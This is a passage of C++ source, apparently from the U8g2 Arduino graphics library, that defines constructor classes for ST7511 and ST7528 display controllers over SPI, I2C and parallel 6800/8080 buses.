u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_1_8080 : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_2_6800 : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_2_8080 : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_F_6800 : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7511_AVD_320X240_F_8080 : public U8G2 {\n  public: U8G2_ST7511_AVD_320X240_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7511_avd_320x240_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_1_6800 : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_1_8080 : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_2_6800 : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_2_8080 : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_F_6800 : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_F_8080 : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_nhd_c160100_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_nhd_c160100_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_nhd_c160100_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_nhd_c160100_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_nhd_c160100_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_nhd_c160100_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_nhd_c160100_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_nhd_c160100_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_nhd_c160100_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7528_NHD_C160100_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7528_NHD_C160100_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_nhd_c160100_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7528_ERC16064_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_erc16064_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7528_ERC16064_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_erc16064_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7528_ERC16064_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_erc16064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_1_6800 : public U8G2 {\n  public: U8G2_ST7528_ERC16064_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_erc16064_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_1_8080 : public U8G2 {\n  public: U8G2_ST7528_ERC16064_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_erc16064_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7528_ERC16064_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_erc16064_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7528_ERC16064_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_erc16064_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7528_ERC16064_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_erc16064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_2_6800 : public U8G2 {\n  public: U8G2_ST7528_ERC16064_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_erc16064_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_2_8080 : public U8G2 {\n  public: U8G2_ST7528_ERC16064_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_erc16064_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7528_ERC16064_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_erc16064_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7528_ERC16064_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_erc16064_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7528_ERC16064_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_erc16064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_F_6800 : public U8G2 {\n  public: U8G2_ST7528_ERC16064_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    